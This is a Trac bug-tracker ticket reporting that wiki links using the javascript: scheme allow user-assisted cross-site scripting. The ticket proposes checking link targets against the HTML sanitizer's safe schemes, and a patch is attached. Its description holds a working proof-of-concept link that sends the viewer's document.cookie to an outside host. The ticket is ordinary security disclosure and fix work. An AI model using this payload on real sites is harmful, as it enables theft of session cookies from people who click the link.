Edgewall Software

Opened 14 years ago

Last modified 14 years ago

#9557 closed defect

User-assisted XSS risk via javascript: links — at Version 3

Reported by: Matt McCutchen <matt@…> Owned by:
Priority: high Milestone: 0.11.8
Component: general Version: 0.11-stable
Severity: major Keywords: security
Cc: Branch:
Release Notes:
API Changes:
Internal Changes:

Description (last modified by Remy Blank) 

[javascript://%0Alocation='https://mattmccutchen.net/private/trac-javscript-link?'+encodeURIComponent(document.cookie); Click here to send me your cookies.]

This should be blocked by checking link targets against the same set of safe schemes that the HTML sanitizer uses.

Change History (4)

comment:1 by anonymous, 14 years ago

open your door

comment:2 by Remy Blank, 14 years ago

Milestone: → 0.12.1
Priority: normal → high
Severity: normal → major

Interesting. Thanks for the report!

Maybe even for 0.11.7.1?

comment:3 by Remy Blank, 14 years ago

Description: modified (diff)

And removed the actual link before too many people click on it :)

by Remy Blank, 14 years ago

Attachment: 9557-safe-schemes-r9925.patch​ added

Suggested fix, breaks one test.

Note: See TracTickets for help on using tickets.